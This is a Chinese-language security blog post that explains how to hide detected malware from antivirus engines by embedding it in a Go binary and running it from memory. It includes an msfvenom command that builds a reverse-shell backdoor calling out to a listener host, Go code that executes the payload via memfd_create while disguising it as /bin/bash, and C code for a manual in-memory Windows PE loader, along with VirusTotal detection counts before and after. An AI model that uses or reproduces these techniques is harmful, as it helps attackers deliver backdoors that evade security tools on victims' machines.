本文首发于安全客: https://www.anquanke.com/post/id/242549
前言 平时比较忙,抽不出来大把的时间来写文章,导致这个系列的更新太过于迟缓了。怕一直找理由鸽了自己,今天先更新一篇水文吧。主要说一下利用现成的工具完成比较简单的免杀工作。本文的核心目标是为了能够免杀任意的二进制,而不仅仅是为了免杀msf生成的shellcode,注意跟其他文章的区别
背景知识 今天要讲的主角其实是go语言。go语言是2009年google发布的语言,由于其有类似于c和c++一样的性能,同时还具备类似于解释性语言的垃圾回收机制,并且不像java一样依赖虚拟机,优秀的跨平台优势和1.4版本之后go语言实现的支持交叉编译的编译器,让它迅速火了起来。
但是优秀的同时,它以牺牲自己二进制的体积为代价,每个go二进制都静态链接了一个runtime库,此库实现了垃圾回收、线程调度、go语言特有的关键特性等任务。此库的功能非常强大,因为导致一个简单的”hello world”就有1700多个函数。 有如此多的函数,那从这一堆函数中找出具有恶意功能的函数简直像大海捞针一样困难,这是市面上的大部分杀毒引擎对go二进制的检测能力比较薄弱的一个原因。
本文主要是用go语言的相关工具,来彻底免杀之前会被查杀的elf恶意代码。(windows平台类似的方法,但是我并没有测试免杀效果。)
开始正题 基本思想就是把一个不免杀的ELF文件作为字节数据存储在go编写的二进制中,然后go二进制执行的时候从自身读出恶意代码然后直接加载到内存中执行,保证恶意代码不落盘
这个方法非常简单,不需要分析什么shellcode特征,甚至不需要写什么代码,就能实现效果不错的免杀,而且检测比较困难。
可选的工具有很多:
甚至 go1.6 就默认支持https://go.googlesource.com/proposal/+/master/design/draft-embed.md ,你说开心不开心,默认支持的能有啥特征呢? 哈哈哈哈
下面就先使用 https://github.com/kevinburke/go-bindata 来测试一下效果。
linux平台免杀
用msf生成一个后门
1 msfvenom -p linux/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 lhost=192.168.1.1 lport=6666 -f elf > ./test
这个样本肯定是不免杀的,上传到virustotal上看一下。
竟然才仅有4款杀毒软件报毒,这太出乎意料了,是杀毒软件提不动刀了,还是metasploit的编码器太强了?不过 anyway,我们还是用go去加载这个二进制,看一下效果。
使用go-bindata 打包到一个文件中
这样就会生成一个 bindata.go
的文件,里面以压缩字节的形式存储这 ./test 的数据。
接下来在 bindata.go
中编写main函数,来让test文件从内存执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const ( mfdCloexec = 0x0001 memfdCreate = 319 ) func main () { data, err := Asset("test" ) if err != nil { fmt.Println("read test file content error!" ) } filename := "" fd, _, _ := syscall.Syscall(memfdCreate, uintptr (unsafe.Pointer(&filename)), uintptr (mfdCloexec), 0 ) _, _ = syscall.Write(int (fd), data) displayName := "/bin/bash" fdPath := fmt.Sprintf("/proc/self/fd/%d" , fd) _ = syscall.Exec(fdPath, []string {displayName}, nil ) }
编译之后,发现这个后门功能正常,上传到 virustotal 再看一下效果。
效果还算理想。这里可以放任意的会被杀软干掉的二进制,应该免杀效果都是杠杠的。
windows平台免杀 windows平台上也是同样的道理,只是windows没有 memfd_create
这样方便的syscall供我们调用,但是 「exe_run_in_memory」也很容易实现,下面我们尝试简单讲一下过程。 「exe_run_in_memory」可以直接用go语言实现,但是需要自己定义很多结构,而且不能像c语言那样便捷的处理PE结构,所以本文为了节省时间,直接复用了之前c语言来实现的加载的代码,然后用cgo进行调用。
用c语言来实现内存的map:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 BOOL mapping (LPVOID lpData, LPVOID lpBaseAddress) { PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpData; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((UNPTR)pDosHeader + pDosHeader->e_lfanew); DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders; WORD wNumberOfSections = pNtHeaders->FileHeader.NumberOfSections; PIMAGE_SECTION_HEADER pSectionHeader = NULL ; if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) { pSectionHeader = (PIMAGE_SECTION_HEADER)((UNPTR)pNtHeaders + sizeof (IMAGE_NT_HEADERS32)); }else if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { pSectionHeader = (PIMAGE_SECTION_HEADER)((UNPTR)pNtHeaders + sizeof (IMAGE_NT_HEADERS64)); } else { ShowError("cann't identify file format." ); return FALSE; } memcpy (lpBaseAddress, lpData, dwSizeOfHeaders); WORD i = 0 ; LPVOID lpSrcMem = NULL ; LPVOID lpDestMem = NULL ; DWORD dwSizeOfRawData = 0 ; for (i = 0 ; i < wNumberOfSections; i++) { if ((0 == pSectionHeader->VirtualAddress) || (0 == pSectionHeader->SizeOfRawData)) { pSectionHeader++; continue ; } lpSrcMem = (LPVOID)((UNPTR)lpData + pSectionHeader->PointerToRawData); lpDestMem = (LPVOID)((UNPTR)lpBaseAddress + pSectionHeader->VirtualAddress); dwSizeOfRawData = pSectionHeader->SizeOfRawData; memcpy (lpDestMem, lpSrcMem, dwSizeOfRawData); pSectionHeader++; } return TRUE; }
解析导入表,并修改IAT地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 BOOL doImTable (LPVOID lpBaseAddress) { PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((UNPTR)pDosHeader + pDosHeader->e_lfanew); PIMAGE_IMPORT_DESCRIPTOR pImportTable = NULL ; if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { PIMAGE_NT_HEADERS64 pNtHeaders64 = (PIMAGE_NT_HEADERS64)(pNtHeaders); pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((UNPTR)pDosHeader + pNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); } else if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) { pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((UNPTR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); } char *lpDllName = NULL ; HMODULE hDll = NULL ; PIMAGE_THUNK_DATA lpImportNameArray = NULL ; PIMAGE_IMPORT_BY_NAME lpImportByName = NULL ; PIMAGE_THUNK_DATA lpImportFuncAddrArray = NULL ; FARPROC lpFuncAddress = NULL ; DWORD i = 0 ; while (TRUE) { if (0 == pImportTable->OriginalFirstThunk) { break ; } lpDllName = (char *)((UNPTR)pDosHeader + pImportTable->Name); hDll = GetModuleHandleA(lpDllName); if (NULL == hDll) { hDll = LoadLibraryA(lpDllName); if (NULL == hDll) { pImportTable++; continue ; } } i = 0 ; lpImportNameArray = (PIMAGE_THUNK_DATA)((UNPTR)pDosHeader + pImportTable->OriginalFirstThunk); lpImportFuncAddrArray = (PIMAGE_THUNK_DATA)((UNPTR)pDosHeader + pImportTable->FirstThunk); while (TRUE) { if (0 == lpImportNameArray[i].u1.AddressOfData) { break ; } lpImportByName = (PIMAGE_IMPORT_BY_NAME)((UNPTR)pDosHeader + lpImportNameArray[i].u1.AddressOfData); if (0x80000000 & lpImportNameArray[i].u1.Ordinal) { lpFuncAddress = GetProcAddress(hDll, (LPCSTR)(lpImportNameArray[i].u1.Ordinal & 0x0000FFFF )); } else { lpFuncAddress = GetProcAddress(hDll, (LPCSTR)lpImportByName->Name); } lpImportFuncAddrArray[i].u1.Function = (UNPTR)lpFuncAddress; i++; } pImportTable++; } return TRUE; }
解析重定位信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 BOOL DoReTable (LPVOID lpBaseAddress) { PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((UNPTR)pDosHeader + pDosHeader->e_lfanew); PIMAGE_BASE_RELOCATION pLoc = NULL ; ULONGLONG ImageBase = 0 ; if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { PIMAGE_NT_HEADERS64 pNtHeaders64 = (PIMAGE_NT_HEADERS64)(pNtHeaders); pLoc = (PIMAGE_BASE_RELOCATION)((UNPTR)pDosHeader + pNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); ImageBase = pNtHeaders64->OptionalHeader.ImageBase; } else if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) { pLoc = (PIMAGE_BASE_RELOCATION)((UNPTR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); ImageBase = pNtHeaders->OptionalHeader.ImageBase; } if ((PVOID)pLoc == (PVOID)pDosHeader) { return TRUE; } while ((pLoc->VirtualAddress + pLoc->SizeOfBlock) != 0 ) { WORD *pLocData = (WORD *)((PBYTE)pLoc + sizeof (IMAGE_BASE_RELOCATION)); int nNumberOfReloc = (pLoc->SizeOfBlock - sizeof (IMAGE_BASE_RELOCATION)) / sizeof (WORD); for (int i = 0 ; i < nNumberOfReloc; i++) { #ifdef _WIN64 if ((DWORD)(pLocData[i] & 0x0000F000 ) == 0x0000A000 ) { UNPTR* pAddress = (UNPTR *)((PBYTE)pDosHeader + pLoc->VirtualAddress + (pLocData[i] & 0x0FFF )); UNPTR ullDelta = (UNPTR)pDosHeader - ImageBase; *pAddress += ullDelta; } #else if ((DWORD)(pLocData[i] & 0x0000F000 ) == 0x00003000 ) { UNPTR* pAddress = (UNPTR*)((PBYTE)pDosHeader + pLoc->VirtualAddress + (pLocData[i] & 0x0FFF )); UNPTR dwDelta = (UNPTR)pDosHeader - ImageBase; *pAddress += dwDelta; } #endif } pLoc = (PIMAGE_BASE_RELOCATION)((PBYTE)pLoc + pLoc->SizeOfBlock); } return TRUE; }
由于函数 VirtualAlloc
是杀毒软件关注的重点函数,所以直接使用这个函数会被大多数的杀软杀掉,本文在VT上测试的时候是18/69
,而且直接被火绒干掉,效果非常不理想:
后来我利用项目 https://github.com/mai1zhi2/SysWhispers2_x86/tree/main/SysWhispers2_x86_WOW64Gate 中函数 NtAllocateVirtualMemory
的direct syscall 汇编代码来代替函数调用,然后获得了比较好的免杀效果。
同样使用 msf
生成的reverse_tcp后门进行测试: 免杀前的是 52/70
免杀后是 12/67
:
有几款杀软报毒Exploit.Shellcode
是因为他们有沙箱,而且可以看到样本的外联行为。剩下的几款杀毒引擎一看见go语言的二进制就报毒,因为我测试go语言写的hello world
他们也会报毒,所以没有参考价值。
虚拟执行能力比较强的火绒也无法检出。
添加一个编码器 x86/shikata_ga_nai
之后的效果看起来真的不错。
代码实现 代码比较简单,放在了github上 https://github.com/wonderkun/go-packer , 需要说明一下的是,由于SysWhispers2_x86_WOW64Gate
中有代码是使用汇编实现的,为了能使用MingGw
进行链接,所以必须使用uasm
进行编译(不能使用vs的masm进行编译,否则无法完成静态链接)。 但是mac平台安装uasm
比较麻烦,所以只能在windows平台上进行编译。所以本代码中放的直接就是编译好的32位的静态链接库,仅支持生成32位二进制文件,如果想生成64位的二进制文件,请自行编译静态态链接库,并修改makefile。
reference